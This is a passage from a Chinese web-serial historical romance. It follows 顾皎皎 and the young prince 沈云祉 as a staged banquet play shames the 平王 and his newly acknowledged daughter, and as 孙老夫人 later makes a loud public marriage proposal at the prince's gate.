顾皎皎轻笑福身:“小王爷说得是,那我先去后厨瞧瞧,两位随意。” “你要穿着这身衣裳去那明火之地,怕是不妥吧?”沈云祉出声阻拦。 杜玉荣也在一旁帮衬:“是啊,顾姑娘,瞧你这衣裳的做工走线,怕是出自大家,若是行走于锅炉之间,岂非浪费?” 顾皎皎尴尬得愣在原地,只好将这心思作罢。 她也并非这般兢兢业业,只是瞧着时辰将近,想寻个由头与沈云祉隔开些距离罢了。 京城如今人人知晓她受小云南王庇护,替他办事,但更愿旁人以为两人以利而合,并无私交。 戌时将近,已有官员陆续到来。 见他们人人带着成箱的贺礼,顾皎皎越发笃定心中猜想。 约莫又过了半个时辰,第一楼高朋满座,丝竹之声不绝于耳,唯独堂中戏台空落落,毫无开戏之意。 碍于沈云祉在场,众人不敢多言,但到底等得倦了,禁不住窃窃私语。 沈云祉顾若惘闻,只留心着他手边的杯盏,余光却扫了门外一眼。 “平王到!” 一声高喝,众人起身,独气定神闲的小云南王稳稳坐着,嘴角挂着满是戏谑,不达眼底的冷笑。 平王大步走来,身后果然跟着衣着华丽的徐青青和一瘸一拐的孙协兆。 徐青青果然招摇,那满头的珠翠怕是她的浑身解数;孙三便低调许多,瞧得出不是一件新伤,不过伤势到好转许多,只是步子愈发虚浮。 “恭喜平王,恭喜孙公子。” 一路走来,尽是祝贺贺词,叫平王察觉不对。 他紧紧盯着沈云祉,再看这堂中陈设,正欲开口质问,堂内烛火顷刻灭尽。 下一瞬,戏台竖起一到亮光,以薄纱蒙面的优伶已开口咿咿呀呀。 沈云祉不紧不慢地抿一口茶水:“平王莫慌,有何事看了这戏再说。” 这戏热闹却诡异,瞧得众人人心惶惶,左顾右盼。 独徐青青不疑有他,只沉浸在郡主身份的喜悦之中。她这般随父亲出现在大庭广众之下,便是人尽皆知的平王郡主了。 日后谁也抢不走她的位置。 顾皎皎也是第一次看这诡谲之戏,虽跌宕起伏扣人心弦,却看得心中沉闷,好似巨石堵塞。 小生一路升迁,看似顺畅实则身后跟着不知多少黑脸诡人,他们层层叠叠,酷似寄生,十分压制。 而小生从伊始的富态龙钟渐渐枯瘦如柴,步伐越是沉重。 戏曲落幕,众人褪下宽大衣裳。 却见黑脸人内里满是金银,小生内里塞满稻草。 看得台下官员倒吸一口凉气,有的更是擦起额角细汗。 锣鼓声骤然停歇,众人一齐倒地好似没了生气,震人心魄。 就在宾客以为戏已落幕之际,戏台却轰然坍塌,掀起一室尘土。 而那些优伶血肉模糊。 顾皎皎瞪大眸子,难以置信地看着台上发生的一切。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十七章 莫非是暗藏玄机? 屋内灯火通明,气氛却好似坠入冰窖。 顾皎皎下意识想要起身,却被一旁的沈云祉死死按住。 她蹙眉不解,心中焦急。 废墟中,那些个优伶仍旧一动不动,生死不明。不过现场未见血迹,伤势大抵不会太重。 此刻最要紧的是请个大夫。 “戏台忽然坍塌,难道不得顾着这些优伶的性命吗?”她压低声音,唯恐引起恐慌。 建方斋的手艺她自然信得过,那日交差时也曾细细查验,即便工期过短撑不住几日,也不该是此时此刻。 沈云祉沉默不语,面色如常好似无事发生。他只轻轻摇头,扯着顾皎皎的手腕要她坐下。 四周静默无声,无人轻举妄动,但透过一双双震惊、疑惑、错愕的眸子,又觉得嘈杂无比。 不少官员坐立难安, 平王冷哼一声,眼底尽是轻蔑,率先出言讽刺:“这就是小王爷置办的宴席?也不知从何处找来这草台班子,实在是丢人。” 他的声音不大,却因一室寂寥显得尤为响亮。 沈云祉缓缓起身,故作惋惜,倾吐一口浊气:“都是小王办事不利,才叫平王您折了面子。” 平王面色一变,顿感其中不妙。 他从不会如此谦卑,眼下这惺惺作态莫非是暗藏玄机? 谨慎而存疑的眸子在四周打量,并不曾发现异样的痕迹,但事情一定不会草草了结。 “诸位!”沈云祉面向众官,痛心疾首,“难为你们今日刻意来这一趟,却只瞧了一场残缺戏码。” 转而,他又看向平王,凄凄惨惨:“小王考虑不周,触了平王霉头,实在罪过。” 孙协兆隐在角落坐着,一脸惊悚的看着沈云祉如此谦逊之姿,惊愕得收不回下巴。 下一瞬,他便四处张望,寻找端倪。 奈何,除了不少叠放的朱红木箱,再无其他。 高傲如平王也瞧出了事态不对,当即起身与沈云祉隔开隔离,冷声道:“你办事不利,又与本王何干。” 语气冰冷如腊月寒冰,叫人闻之一颤。 “平王,今日可是令爱与孙公子喜结连理的日子,小王爷也是一番好心。” 杜玉荣瞧准时机,从人群中走到沈云祉身侧,语气几分苦口婆心,好似是平王做错了何事。 惊愕与疑惑转移到平王面上,他下意识看向孙协兆,却在见到男人畏首畏尾的模样后,收回目光。 “听闻这戏台只花了三日赶制,难免会有不妥的地方。”一衣着不凡的官员站了出来,许是职位不低,“更加重要的是小王爷的心意啊。” 此话一出,已有人窃窃私语。 心意?只怕是淬了毒的。 沈云祉不过就是钻了他当众认下孙协兆这个女婿的空子,才不明所以的筹谋这一场莫名其妙的戏。 “云祉啊,”平王也端起长辈的慈和模样,“若真是喜事,该是择一个良辰吉日才是,你今日再费心操劳,也不过是寻常光景,做不得数的。” “况且,此事父母之命媒妁之言,自然是旁人插不得手的。” “眼下要紧的还是请个大夫来吧,你瞧台上那些优伶可无半点生机了。” 沈云祉却不以为然:“小生层层攀爬,以金银做基,总归会有坍塌之日。稍有不慎,便会将扶持过他的人一并压死,也能算作报应不爽。” 他的语调平静,一字一顿却如寺庙的钟声空洞而悠远,似有清波撩动心弦。 平王明白他的弦外之音,却不知所指何事,只当他在故弄玄虚。 “小王爷这戏倒是看得透彻。”他阴阳怪气地称赞一句。 另一边,徐青青早已没了心思听二人你来我往,满心满眼都在顾皎皎那件蓝色衣裳上。 她对衣裳向有研究,一眼便看出那是云织锦,一锻千金;然其上刺绣更是栩栩如生,美轮美奂。 她望得入神,嫉妒得发狂,竟鬼使神差地走了过去。 孙协兆大惊,又不好出声呼唤,只好一齐跟了上去。 “你这身衣裳是哪里来的?”徐青青上前一把抓住女子纤细的手腕,恶狠狠地质问。 顾皎皎正专心瞧戏,不禁被这突如其来的禁锢吓了一激灵。 “青青小姐连我这身衣裳的来处都要管束?”她满眼疑惑,只觉得莫名其妙。 徐青青仍是不依不饶:“你徇私忘公!有这等衣衫为何不拿出来!出来做生意,竟然只想着将好东西留给自己,实在是目光短浅。” 弄清原由,顾皎皎愈发觉得莫名其妙。 但如此场面,不便给沈云祉惹祸,只得好脾气的忍了下来。 “青青姑娘,你既识货,就该知晓这身衣裳并非霓裳阁做得出来的。也并非是以公谋私。” 顾皎皎一边好言好语,一边试图挣脱手腕桎梏。奈何她身子单薄,却力气不小。 孙协兆在一旁听清缘由,也上前劝诫:“青青,不过是一件衣裳,小云南王还在此处,不要失了分寸。” 他已经将沈云祉得罪尽了,若是今日动了顾皎皎,怕是要死无葬身之地。 徐青青昂首挺胸,高傲不已:“那又如何?父亲也在此处,是断断融不下这商贾之女如何花枝招展。” “你也瞧见了这周边贺礼还有楼内打扮,今日是你我的好日子,就任凭她这样抢夺风头吗?” 开口时,堂内恰好寂静无声,压低的语调也被放大数杯,叫人听得清晰无比。 沈云祉自然不悦,但是平王更胜一筹。 “混账,你在胡言乱语些什么?”他怒斥一声,很是压迫,“不过是看一场戏,谈什么好日子?” 今日肯将她带来,便是因为沈云祉狡兔三窟,也往别院送了拜帖。 与其让她孤身赴约,不若跟在身后看着。 不成想,她还是没能学会安分守己,只知在外丢人现眼。 徐青青心中一惊,泪眼婆娑地看着平王,哀怨道:“谁知道她这衣裳是做了多少黑心生意来的?今日此处身份尊贵之人颇多,如何能任由一个低贱的商贾蹬鼻子上脸?” 这话听来也算有些道理,奈何今日场上女子不过只她二人。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十八章 血浓于水 “难道这就是平王的郡主?”人群中不知谁的声音传了出来,语调中尽是疑惑。 当即有另一人附和:“大抵是了,见她方才一直与孙公子同坐一处。瞧着眉眼确实与平王有相似之处。” 细小的议论声不偏不倚地落进平王的耳中,像是一根根尖针扎进他的心脏。 若是放在从前,怎会有人胆敢这般议论王府之事? 穿得如此张扬便罢了,言语如此短浅,毫无谦逊之意,又是明日一众谈资。 顾皎皎最是厌烦旁人对生意之事指指点点,顾府的每一分银子不止有她的汗水,更是沾满了父亲与母亲的心血,不该平白受如此污秽之语污蔑。 怒意在心底滋长,促使她须得讨回公道。 正要上前,沈云祉却先她一步,挡在了她的身前:“郡主此言差矣,这身衣裳乃本王所赠,莫非你的意思是本王做了不少黑心生意?” 徐青青怔住,她知晓小云南王出手阔绰,但实难接受他随手赠予身份如此卑微之人这样的华贵之物。 顿了顿,沈云祉又继续开口:“本王瞧着郡主衣裳不少巧思,怕是寻常人抢不到你的风头。” 三言两语间他就将徐青青的身份做实,又不掩其中嘲讽,只差将她身上的琉璃裙及其艳俗直言不讳。 被刺中的不仅是徐青青的自尊,还有平王的脸面。 果然,只见平王的面色铁青,背在身后的双手不自觉捏紧成拳,这才有机会自己打量徐青青的衣衫。 这衣裳乍一看倒无不妥,只是层层叠叠繁琐一些罢了。而今他才注意到其面料竟在烛火下熠熠生彩,很是扎眼。 “这衣裳如此光彩夺人,倒是像极了暖春阁的舞姬所着。” 不知是谁,忽地开口说这一句。 回首时,已不见了踪影。 这话分量很重,当即勾起了徐青青的身世之谜。 她生母便是如此身份,而今穿在她身上也是不足为奇。 徐青青后知后觉,一脸愤懑地朝着顾皎皎扑了过去,咬牙切齿像要将她生吞活剥。 “是你!是你这个贱人算计我是不是!”她想去扯顾皎皎的衣袖,却被孙协兆死死拦着,“故意将这身衣裳摆在我的眼前,叫我今日在此出丑!” 事态忽地混乱起来,顾皎皎沉默不语,退后几步。 所谓说多错多,虽然她不曾做错,但若开口辩解,怕是徐青青会越发咬着不放。 “住口!” 平王怒斥一声,紧接着清脆的巴掌落在徐青青白嫩的脸上。 那清晰可见的五指印印证着出手之人使出了多大的力气。 徐青青被打得大脑一片空白,如一片被丢弃的花瓣般踉跄着跌落在地。 “看来大夫开得药你还是不肯乖乖吃,日后若再不遵医嘱,你便不必再出门了。” 场面何其难堪,为了堵住悠悠之口,他也只能出此下策。 既解了今日之困,也能解释从前为何对此女秘而不宣,若是日后不见踪影,也能不叫人怀疑。 徐青青捂着红肿的面颊,目光空洞,豆大的泪珠不住地流,一副我见犹怜的模样。 “血浓于水原来就是如此。”沈云祉忍俊不禁,“平王爱子心切,如何不叫人动容?” “还有孙公子,情真意切,不离不弃,也叫人为之动容。” 平王面上挂不住,已是无心再与他做口舌之争。 他不耐烦地扫了呆滞的徐青青一眼,随机甩袖离去,十分坚决。 孙协兆大惊失色,连忙扶着徐青青起身,快步跟了上去。 瞧着他一瘸一拐毫无章法的步子,便知他这些日子也不好过。 就在此时,坍塌的戏台忽然传出窸窸窣窣的声音。 转身看去,竟是那些不知死活的优伶纷纷起身的动静。 宽大的戏服此刻已脏乱不堪,挂在身上如鬼魅一般。 还在众人并未停留,随意拍了拍身上的尘土,便就福身离去。 官员们满面惊悚,好似青天白日见了鬼般脸色苍白不敢动弹。更有胆小着,已翻了白眼晕厥过去。 目的达成,沈云祉笑得明媚:“今日这场戏便算作唱完了,诸位随意便好。” 丢下这句,他转身上了二楼。 官员如何还敢久留,忙拾起随身物件落荒而逃。 杜玉荣留在原地,不忘出声提醒:“诸位大人,既然平王不认,这些贺礼烦请再拿回去。” 众人散去,一片狼藉。 顾皎皎缓缓挪到杜玉荣身侧:“杜大人,不知小王爷今日又在唱什么戏?这戏台怎会突然坍塌呢?” 望着稀碎的台子她便心如刀割,这可是白白花花的银子啊,还未来得及施用,就成了这副模样。 杜玉荣神秘一笑:“之后你便会知晓了。” “至于这戏台,小王爷会吩咐下去好生修缮,你不必担心。” 顾皎皎无可奈何:“怎地杜大人也变成如此故弄玄虚的模样了。今日之事若是传出来,可叫第一楼日后如何做生意啊。” 出了如此事故,寻常百姓自然有所忌惮。 “顾姑娘,你只安心等着便是。”杜玉荣笑意柔和,语调温柔如三月春风,“今夜不会有人敢多说一个字。” 顾皎皎没再不依不饶,沈云祉在算计些什么,杜玉荣比自己清楚百倍。 得了他的保证,便是真的能安心的。 然而,此事仍旧还是传了出去,不过坊间流传的乃是第一楼的定亲宴办得有声有色,又有戏台伴唱,能食能赏,好不惬意。 见流言势头正猛,顾皎皎忙推出了宴饮定制,价位一应俱全,叫人人都能有别样体验。 从前从未有人在京中做这样的事,很快便口口相传,争先恐后,叫顾皎皎又赚得盆满钵满。 顾府书房,只有急促得拨动算珠声响,是不是还有女子喜悦的笑意。 “若非小王爷这一出,我还想不到这样独一无二的宴饮法子。”顾皎皎笑意不减,喜上眉梢,“你多去置办些小玩意,届时摆放在宴席之上,也能添点好兆头。” 从前总是府中有要事便定一桌席面,而今不同,可依照生辰宴亦或是喜宴,连带着将屋舍陈设也一并定下,很是新奇。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百五十九章 谁都不能一直独善其身 莺儿也觉得高兴:“姑娘,如今第一楼席面都已经订到来年开春了,当真是要好好忙活一阵子了。” “您都不知,旁得酒楼见第一楼这法子倍受顾客青睐,也争相效仿呢,更有甚者竟专门做这档生意。” 顾皎皎继续拨弄算盘:“这生意圈不就是如此相互效仿,谁都不能一直独善其身。” “倒是如今有人盯着咱们,更是做得漂亮,不能叫人诟病。” 莺儿一一记下。 “今日怕是要再去一趟建方斋。”顾皎皎终于抬起头来,捏了捏酸涩的眼角。 沈云祉做事倒是利索,一夜之间便将戏台的残害收拾得干干净净,也将她的心血收拾地零碎不剩。 “姑娘,杜大人来了。” “快请进来。” 顾皎皎忙起身,将衣衫整理一番。 莺儿则是眼神暧昧的推到门外:“姑娘,奴婢这就去盯着采买一事。” 顾皎皎来不及理会,福身向杜玉荣行礼:“杜大人可有何事?” “这消息想来也是顾姑娘所期盼的。”杜玉荣点头,刻意停顿一瞬,“我正从建方斋来,自作主张同掌柜说了一声戏台重新搭建一事,他已然应允,每日便可动工。” 顾皎皎果然喜不自胜:“这倒确实是个好消息,我这还想着午后再去一趟建方斋呢,倒是省下了不少功夫。” 不过转瞬,她又担忧:“建方斋动工不该如此迅速才是,难不成……” 万事以权势解决自然方便省力,但恃宠而骄难免叫人心生怨恨。她如今孤身一身,也不愿遭人诟病。 杜玉荣明白她的担忧,出言安抚:“上前一次本就仓促,掌柜始终放心不下,故而并未在存档中将这工程了结,只做暂停处理,是以如此顺利。” 顾皎皎放心下来,眼中满是感激之情:“杜大人总是慷慨相助,我真是不知该如何答谢。” 她欠沈云祉的恩情尚且能用经营铺子偿还,但杜玉荣的人情却在心底。 听得此言,杜玉荣嘴角笑意一瞬凝固:“顾姑娘不必如此客气,不过举手之劳不足挂齿。” “况且我是将姑娘视作有人的,自然不会拘泥这些虚礼。” 顾皎皎有些尴尬,一时不知该说些什么。 脑中思忖良久:“杜大人,不知您眼下可得空?我正要去果脯铺子转转,不知您可有兴趣?” 杜玉荣眼底闪过一瞬欣喜,几乎没有犹豫便应答下来:“早闻小王爷盘了间果脯铺子,倒是还未能去瞧瞧,今日也不失是个机会。” 马车之上,两人又是相顾无言。 顾皎皎忽地有些后悔,不该出口相邀。 杜玉荣看出她的不自在,心地几分落寞,继而主动搭话:“顾姑娘推出的新式席面倒是在京城颇受欢迎,朝堂之上都有所耳闻。” “不过是些小把戏。”顾皎皎笑意盈盈,心中自豪,“也是得益于昨夜您与小王爷的巧思,我才能想出这个法子。” 一提起生意之事,顾皎皎不自觉话就多了起来。 见她眉眼弯弯,发自心地欢喜,杜玉荣也不禁勾起嘴角:“顾姑娘实在谦虚。我倒是忽然想起一事,不知姑娘可愿一听。” 顾皎皎眼眸一亮,以为寻到了报恩的机会,当即点头:“洗耳恭听!” 她的双眸本就清澈,此刻更如灵动的小鹿,俏皮可爱,叫人为之心动。 眼底情意加深,杜玉荣沉声开口:“月末正是我的生辰,若是店内名额尚有空余,不知可否予我定下一桌席面?” “那是自……”顾皎皎脱口而出,而后察觉其中偏差,不解问道,“前些日子赵姑娘也未此事而来,已经替您定下生辰宴席了。难道您还不知情吗?” 杜玉荣正要开口,马车却不合时宜地停下。 “既如此,我便会好生置办。”不等杜玉荣回答,顾皎皎自然地将话接过,“杜大人请。” 经由顾皎皎整改,店内安排了一张单独的小桌供顾客品尝店内果脯。 刚过午时,桌边已围等着不少人。 一进门,顾皎皎边开始热络地介绍:“新鲜制成的果脯难免会有酸味,我便叫人做了一罐糖粉,一罐辣粉,供来人沾着吃。” “眼下效果倒是不错,许多人因着这口味粉反而买了不少果脯。” 杜玉荣侧眸看她,眼底含笑:“倒是有所耳闻,不想竟是你的心思。” 顾皎皎也不谦虚,笑着作答:“可谓是绞尽脑汁。若是想将甜味之物制成细腻的霜粉,可是废了功夫。” 店内熙熙囔囔,遍地吵闹,两人便默契的没再开口。 小二瞧见两人,忙上前招待:“顾姑娘,这几日的账簿已经备好了,只等您过目了。” “杜大人,您可是来找小王爷的?”小二压低声音,“小王爷就在二楼呢。” “不必了,今日我是陪顾姑娘来的。” 拒绝的话刚是说出口,双瑞便从二楼下来。 “杜大人,顾姑娘,小王爷有请。” 顾皎皎刚是摸上账簿,就听到了自己名号,出乎意料:“怎地还有我的事。” 双瑞眼神落在顾皎皎的手上,一脸正气道:“小王爷今日前来,便是听闻顾姑娘要来此查看账本。” 顾皎皎无言以对,只好跟上两人步伐。 屋内,沈云祉端坐于桌案前,眼前摆着数十叠果脯和店内一众粉霜。 他叫两人坐下,又道:“玉荣可尝过改进后的口味?” 杜玉荣摇了摇头:“倒还不曾有这样的口福,这才随顾姑娘一同过来大饱口福。” “一同过来。”沈云祉轻念一句,勾起唇角,“既然如此凑巧,你可得好好尝尝,最好买些回府。” 顾皎皎看着两人拌嘴,心生羡慕。 “小王爷,您今日过来也是为了账簿?” 沈云祉摇头,倾身往前凑了几分:“本王今日来,是为了嘉奖你的。” “这果脯铺子本是本王瞧一商贩可怜,勉强买下来的,实在没想到今日还能有如此作为。” “小王爷既信任我,我自然不能叫您失望。”顾皎皎得意挑眉,毫不谦虚,“不过,这铺子我早有利得,小王爷预备如何嘉奖?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十章 不便久留 沈云祉并未直言,而是有意无意地扫了杜玉荣一眼。 “本王一时也没想到,便先欠着吧。”他理直气壮,神色如常,“若是有一日你想要些什么,也可来找本王兑现。” 小王爷的承诺自是难得,但他的表现,无论如何都是临时起意。 顾皎皎倒是捧场,铿锵有力地作揖道:“多谢小王爷!日后自当在为您肝脑涂地,在所不辞。” 她一开口,便是字正腔圆地夸张至此,光听着便毫无诚意,显然是未将此事放在心上。 杜玉荣在一旁看着两人,过着糖霜的果脯也味同嚼蜡,甚至品出了苦味。 见他双目空洞,思绪飘远,沈云祉合上折扇,低声询问:“如何?改良过后的味道可是新奇了许多?” 杜玉荣当即回过神。一开口便是称赞之词:“糖粉的甜味与果干自身的酸味融合得恰到好处,叫人食之欲醉。” 沈云祉嗔怪:“你每每言语,都是如此挑不出错的辞令,仿若在你耳中便没有不妥当的东西一般。” 杜玉荣失笑:“小王爷真是说笑,您今日不也品鉴过,莫不成是觉得有何不妥?” 沈云祉笑而不语,只意味不明地看了他一眼。 这眼神复杂,像是在提醒什么,四目相对,杜玉荣亦表情严肃。 顾皎皎不明所以,目光在两人之间流转。 她有预感,接下来的事情自己不便久留。 “小王爷,杜大人。”顾皎皎小心开口,“若是没有要事,我便继续下来看账簿了。” 沈云祉没有阻拦,只点了点头。 木门合上发出沉闷的声响,透过窗棂能看清女子离开的背影。 沈云祉眼眸深沉,从袖口拿出一节竹筒。 “这是?”杜玉荣表情凝重,自然拿过,“不想一场戏当真留有端倪。” 昨夜大戏光怪陆离,但总有人看着如小儿口诀。 寻找根系糜烂处,吏部自然首当其冲。 “他们动作很快,今早清晨,赵恒的府尹府便遭飞来横祸,一场大火烧去大半,不就半点痕迹。” 杜玉荣看着信纸上的人名,神情越发沉重。 太多的意想不到,再听这场只剩蹊跷的大火都已司空见惯。 “我看他们未必是在掩盖证据,而是洗去小镇府尹的奢靡无度。”杜玉荣冷笑一声,心中有了猜测,“当日事发,也是因着赵恒大方漏财,如今只能借此拙劣的手段欲盖弥彰。” 沈云祉唇角一抹轻蔑笑意,抬手点了点案上纸张:“昨夜暗卫就已倾巢出动,他们的罪孽一个都别妄想掩藏。” 另一边,顾皎皎只花了一刻钟便将账簿尽数查尽。 这果脯铺从前账目平淡,只是近来涨幅明显,但也不过几日,费不了多少功夫。 见着时辰还早,她又突发奇想去集市闲逛。 街市热闹,耳畔充斥着两侧小贩的叫卖声,扯着嗓子好不卖力。 一路走来,顾皎皎忍不住开口:“瞧着似乎又多了几家果脯铺子。” 莺儿倒是习以为常:“姑娘,你有所不知。只要您将什么行当做得好了,便就有大批人学习效仿。” “奴婢着人去采买之时,也能遇见鬼鬼祟祟与咱们所要之物相同的。” “想来这些铺子接下来便要研制粉霜了。” 顾皎皎失笑,心底几分自豪:“这话听着高兴。从前这些东西在京中名不见经传,如今因着我活络起来,也是好事。” 莺儿撇嘴,却无不敬:“也就姑娘您这般好性子,若是换作旁人,怕是要去衙门报官。” 自古商贾多重利,能赚钱的活计无人甘愿叫人分一杯羹。 顾皎皎当真想了想如此场面,越发笑得开心:“且不论粉霜与定宴席并非由我首度创办,不过是从我这处有了名气罢了。” “再者,这些事由又有谁能说得清楚?” 两人有说有笑穿梭在集市,不时摆弄摊贩的新奇玩意。 “霓裳阁昨日新进了一批料子,不若替你置办身新衣衫?” 顾皎皎偏头瞧了一眼莺儿身上的衣衫,料子算不得旧,但样式已不再新式。 “姑娘不必操心这些,奴婢的衣衫能穿便足够了。”莺儿理了理衣角,“况且,这衣裳前几个月……” 一句话还未来得及说完,便叫一旁匆忙抛开的行人撞回了喉咙里。 莺儿捂着肩头踉跄几步,看着那人离开的方向骂骂咧咧:“这是急着做什么?” 顾皎皎上前扶住莺儿,却发觉那似乎是平王府的方向。 再环顾四周,又不少人都朝着那方赶去,好似有什么要紧事。 “似乎是平王府。”顾皎皎沉声开口,“瞧这人流,许是出了什么事。” 她忽然来了兴致:“走,咱们也去瞧瞧。” 莺儿心中猛然一惊,不情不愿地跟在身后:“姑娘,到底是平王府的事,咱们还是不要掺和了吧?” 顾皎皎置若罔闻,自顾自往前走着。 她不在意平王府的事由,但沈云祉未必不在意。 虽然小王爷消息灵通,不必靠她亲眼所见,但既然有缘碰上,去瞧瞧热闹也还不错。 不知里头到底出了何事,平王府里三层外三层的被人围着。 顾皎皎同莺儿废了好大的力气才拨开人群,挤到一处尚能看得清门楣的位置。 却不想尽是孙老夫人瘫坐在地上撒泼打滚,哭闹着要见平王。 顾皎皎眼眸半垂,顿时没了兴致。 “早知来时便打听打听,实在晦气。”她理了理挤得发皱的衣衫,又费了一番功夫才折返回去。 莺儿喘着粗气:“姑娘,老夫人在这闹些什么?平王不都认下孙三这个女婿了吗?” 顾皎皎忙示意她噤声,压低声音道:“不要在背后议论这些。她既然能来闹,自然是心中不满。” “今日王府门外聚集了这样多的人,想来很快便知晓所为何事,不必急于一时。” 莺儿点头,没再多问。 “今早叫人给霓裳阁送去衣裙,可置办妥当了?” 昨夜宴席后,沈云祉没再提起衣裙一事,顾皎皎便将错就错,又将其送去你霓裳阁观摩。 想着待织娘们探请了其中门道,再送换回去。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十一章 再闹也是见不得的 “今日一早就着人送过去了,也刻意叮嘱了小心这些。”莺儿连连点头,而后看着顾皎皎,“姑娘,这衣裳是小王爷送您的,为何还要还回去呢?” “这般贵重的衣裳,小王爷可以不放在欣赏,但我不能不当回事。”顾皎皎神色认真,还有几分严肃,“况且,与小王爷本就是合作关系罢了,其余往来少些最好。” 莺儿插不得话,只沉默听着。 平王府。 孙老夫人依旧在门外不依不饶,吵闹着要见平王。 管家万般无奈,见她年事已高,又不敢轻举妄动,只得好言相劝。“孙老夫人,方才已与你说过多次了,王爷和王妃此刻不在府上,您即便再闹也是见不得的。” “大胆奴才!”孙老夫人却是倚老卖老,不依不饶,“协兆可是平王亲口认下的女婿,你们竟敢拦我?” 这声奴才交管家变了脸色,言辞轻蔑起来:“老夫人,此处围观群众众多,我无意损了您安阳侯府的名声。” 说着,他又压低声音,含着几分威胁:“只是这孙公子究竟是不是王爷的乘龙快婿,您自己心中有数。” 孙老夫人面上闪过一瞬心虚,随后又似无事发生,继续吵闹:“我们的家事岂是你一个奴才知晓的。” 管家的耐心早已消耗殆尽,见她如此执迷不悟便不再理会,转身离开,下令关了府门。 孙老夫人见状忙起身追赶,却扑了一场空。 人群中忍不住有人出声:“真是笑人,年纪这般大了,还如此撒泼打滚,不讲规矩。” 又有一道讥讽的声音响起:“从前她不是也去第一楼闹,看来是一贯作风,也不稀奇。” 这些尖锐之语尽数落进孙老夫人的耳中,听得她羞赧难当,遮遮掩掩地钻进马车。 孙协兆起身搀扶,却被反手打开。 “你何时变得如此窝囊了?若你愿意与我一同,兴许就进去这王府了。” 孙老夫人仍是不甘,满是皱纹的脸上爬满愤怒,语气里尽是不满:“那日王爷当众将你女婿的身份应下,那是京城人都知晓的,若是迟迟不晚婚,面上怎么好看?” 孙协兆无言以对,面上是不加掩饰的埋怨:“母亲,早与你说过莫要主动招惹平王府,你偏是不听。眼下吃了闭门羹,难道就面上有光了?” 孙老夫人被噎得说不出话,想教训他一番,却又狠不下心,只得软了态度。 “若不是为了安阳侯府,为了你的前程,我何苦在此豁出这个老脸?” “当日给了你个灵验的方子,如今这个时候也未听见消息。你若将事情办成了,兴许还会有平王求着我们的时候。” 孙老夫人的埋怨中夹着沾沾自喜,孙协兆却只轻叹一声。 经过这些日子他已是看明白了,徐青青对于平王来说不过是个可有可无的女儿。 那所谓的血缘亲情,便只有她一人在意而已。 “青青如今在王府的地位并不稳固,若当真未出阁便怀有身孕,你当真以为王爷会将她风光大嫁吗?” 孙协兆眉头紧蹙,满是说不清道理的无奈。 记忆回到那一夜温存,他本是想借着徐青青昏睡时调换她的避子汤药,但想到她如今处境终是没能动手。 徐青青还未有名正言顺的郡主身份,若是身怀六甲,怕是会被王府舍弃。 平王最是在意面子,府内又有王妃坐镇。只有徐青青安分守己,才能安然无恙。 孙老夫人怔住,万般话语皆数化作一声叹息。 她愁眉苦脸,出声抱怨:“这也不准,那也不许,又该如何是好?” “先回府吧,日后再议。”孙协兆神色凝重,一筹莫展,“眼下人人皆知我是平王女婿,也不算毫无收获。” 孙老夫人这才安心,又得意起来。 “平王,平王妃回府!” 一声高亮的声音打断了两人商讨,孙老夫人眼眸一亮,忙不迭掀帘下马。 只见一辆以朱玉点缀的宽敞马车缓缓驶来,稳稳当当地停在王府门前。 孙老夫人欣喜若狂,忙三步并两步地迎了上去,满面谄媚。 “参见王爷,王妃,老身是安阳侯府的主母,孙协兆的母亲。今日特来向青青郡主提亲。” 平王妃刚下马车,就瞧见如此不合时宜的一幕,笑意顿时不见踪影,冷冷地盯着同样不明所以的平王。 “原来是安阳侯府的老夫人,还请府上坐坐吧。”、 平王努力维持着面上的平和。 四周凑热闹的百姓还未散去,他自然是说不出重话。 孙老夫人却是不领情,反倒招手叫人抬来几个朱红木箱,每一个都系着大红绸缎。 她继续笑道:“王爷,这是安阳侯府带来的聘礼,还请王爷过目。” 语罢,她瞧了一旁的宋嬷嬷一眼。 嬷嬷心领神会,当即摊开喜帖就要诵读。 平王见状,面上的平和逐渐碎裂,压抑的不悦显露半分。 “不必了,安阳侯府诚意满满,本王已瞧见了。”他扯着嘴角,背在身后的手却暗自成拳。 平王妃也按耐不住,端着鄙夷的笑意,出言便是讥讽:“安阳侯府果然不同凡响,提亲也要闹得如此满城风雨,真真是人尽皆知的诚意啊。” 听出王妃话语中浓烈的不满,平王越发心烦意乱,只想快些了解:“此等大事,还是进府邸细谈才妥当。” 孙老夫人却偏不随他的意,置若罔闻,继续自说自话:“这样的大喜事,让城中人知晓又如何?王爷王妃以为呢?” “母亲!”孙协兆再是听不下去,连忙起身下马,厉声制止孙老夫人再说些不堪入耳的话。 他恭敬又讨好地朝两人行礼,面带歉疚:“还请王爷,王妃恕罪,母亲只是有些激动,才如此口不择言,坏了礼数。” 平王面色彻底沉了下去,写着警告的眸子落在孙协兆的身上,压得他直不起身子。 “母亲,听王爷的吧。”他不敢抬头,扯着孙老夫人的衣袖低声告诫。 母子俩四目相对,孙协兆费力的挤眉弄眼,只盼着她能识趣一些。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十二章 便随了他的愿 “是是是,那就依王爷所言,进府细商。”孙老夫人终是松了口,仍是不顾场合的笑意盈盈,“王爷王妃先请。” 见她礼数尚且周全,平王脸色这才缓和几分,但眸中的嫌弃仍旧显而易见。 王妃更是心口相一,自始至终都不曾给一个好脸色。 孙协兆松了口气,侧身叮嘱孙老夫人莫要话不过脑,口不择言。若是当真惹恼了王爷,安阳侯府怕是要永无宁日。 “母亲,稍后进了王府……” 他话还未说完,便叫老夫人眼神打断。 “有什么话回去再说。”孙老夫人低声训诫,而后忽地转过身去,朝着就要离开的百姓高喊,“平王府已经收下了安阳侯府的聘礼,这桩亲事已然板上钉钉。” “待婚期商讨妥当,你们都来侯府讨酒喝!” 寻常百姓自然不知其中弯弯绕绕,只听得有酒品赏,也都欣喜若狂的附和。 孙老夫人这才心满意足地进了王府,丝毫不管一旁瞠目结舌的孙协兆。 前头的平王与王妃自然将听得她的大放厥词,脸色越发难看。 “这便是你给自己寻来的好亲家?”平王妃讥讽一声,毫不留情地抽回柔夷。 平王哭笑不得,咬牙切齿:“从来这孙协兆倒是个有分寸的,还跟着沈云祉,何曾想到竟是如此。” 